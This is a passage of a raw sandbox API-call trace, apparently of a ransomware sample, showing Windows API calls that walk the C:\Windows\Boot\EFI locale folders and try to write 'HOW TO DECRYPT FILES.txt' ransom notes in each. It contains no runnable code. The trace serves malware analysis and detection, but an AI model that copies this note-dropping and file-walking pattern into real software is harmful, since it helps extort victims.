lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt" [0125.049] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ja-jp\\how to decrypt files.txt")) returned 0xffffffff [0125.049] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ja-jp\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.049] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.049] CloseHandle (hObject=0xffffffff) returned 0 [0125.049] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgr.efi.mui" [0125.049] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.050] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8385861, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8a83874, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8a83874, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.050] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.050] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0125.050] lstrcmpA (lpString1=".", lpString2="ko-KR") returned -1 [0125.050] lstrcmpA (lpString1="..", lpString2="ko-KR") returned -1 [0125.050] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.050] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="ko-KR" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR") returned="C:\\Windows\\Boot\\EFI\\ko-KR" [0125.050] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.051] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.051] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.051] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.051] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.051] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe212f340, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x782e3810, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.051] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.051] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.051] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.051] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.051] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\ko-KR\\*.*") returned="*.*" [0125.051] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\ko-KR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\") returned="C:\\Windows\\Boot\\EFI\\ko-KR\\" [0125.051] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\ko-KR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\ko-KR\\") returned="" [0125.051] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt" [0125.052] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ko-kr\\how to decrypt files.txt")) returned 0xffffffff [0125.052] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ko-kr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.053] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.053] CloseHandle (hObject=0xffffffff) returned 0 [0125.053] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgfw.efi.mui" [0125.053] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.053] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe532bd50, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b0e591, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b0e591, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.053] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.054] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.054] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.054] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.054] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\ko-KR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\") returned="C:\\Windows\\Boot\\EFI\\ko-KR\\" [0125.054] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\ko-KR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\ko-KR\\") returned="" [0125.054] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt" [0125.054] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ko-kr\\how to decrypt files.txt")) returned 0xffffffff [0125.054] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\ko-KR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ko-kr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.054] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.054] CloseHandle (hObject=0xffffffff) returned 0 [0125.055] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgr.efi.mui" [0125.055] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\ko-KR\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.055] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe532bd50, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b0e591, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b0e591, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.055] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.055] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858f6367, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x858f6367, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85a9928a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95380, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="memtest.efi", cAlternateFileName="")) returned 1 [0125.055] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.055] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="memtest.efi") returned -1 [0125.055] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="memtest.efi") returned -1 [0125.055] lstrcmpiA (lpString1="", lpString2="memtest.efi") returned -1 [0125.055] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.055] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\") returned="C:\\Windows\\Boot\\EFI\\" [0125.055] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\") returned="" [0125.056] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" [0125.056] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\how to decrypt files.txt")) returned 0xffffffff [0125.056] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.056] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.056] CloseHandle (hObject=0xffffffff) returned 0 [0125.056] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="memtest.efi" | out: lpString1="C:\\Windows\\Boot\\EFI\\memtest.efi") returned="C:\\Windows\\Boot\\EFI\\memtest.efi" [0125.056] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\memtest.efi", pszSpec="*.ems") returned 0 [0125.057] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0125.057] lstrcmpA (lpString1=".", lpString2="nb-NO") returned -1 [0125.057] lstrcmpA (lpString1="..", lpString2="nb-NO") returned -1 [0125.057] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\memtest.efi") returned="memtest.efi" [0125.057] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="nb-NO" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO") returned="C:\\Windows\\Boot\\EFI\\nb-NO" [0125.057] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.060] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0125.060] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.060] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe356aca8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3c8ee18, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784605a8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15840, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.060] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.060] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.061] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.061] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.061] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\nb-NO\\*.*") returned="*.*" [0125.061] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\nb-NO\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\") returned="C:\\Windows\\Boot\\EFI\\nb-NO\\" [0125.061] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\nb-NO\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\nb-NO\\") returned="" [0125.061] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt" [0125.061] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nb-no\\how to decrypt files.txt")) returned 0xffffffff [0125.061] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nb-no\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.061] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.061] CloseHandle (hObject=0xffffffff) returned 0 [0125.062] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgfw.efi.mui" [0125.062] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.062] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1de9542, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe25f1ee0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe25f1ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.062] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.062] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.062] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.062] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.062] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\nb-NO\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\") returned="C:\\Windows\\Boot\\EFI\\nb-NO\\" [0125.062] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\nb-NO\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\nb-NO\\") returned="" [0125.062] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt" [0125.062] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nb-no\\how to decrypt files.txt")) returned 0xffffffff [0125.063] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\nb-NO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\nb-no\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.063] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.063] CloseHandle (hObject=0xffffffff) returned 0 [0125.063] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgr.efi.mui" [0125.063] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nb-NO\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.063] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1de9542, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe25f1ee0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe25f1ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.064] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.064] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0125.064] lstrcmpA (lpString1=".", lpString2="nl-NL") returned -1 [0125.064] lstrcmpA (lpString1="..", lpString2="nl-NL") returned -1 [0125.064] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.064] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="nl-NL" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL") returned="C:\\Windows\\Boot\\EFI\\nl-NL" [0125.064] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\nl-NL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.064] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.065] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.065] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.065] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.065] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49cc76d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe50f08dd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78c68f10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.065] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.065] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.065] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.065] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.065] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\nl-NL\\*.*") returned="*.*" [0125.065] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\nl-NL\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\nl-NL\\") returned="C:\\Windows\\Boot\\EFI\\nl-NL\\" [0125.065] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\nl-NL\\" | out: 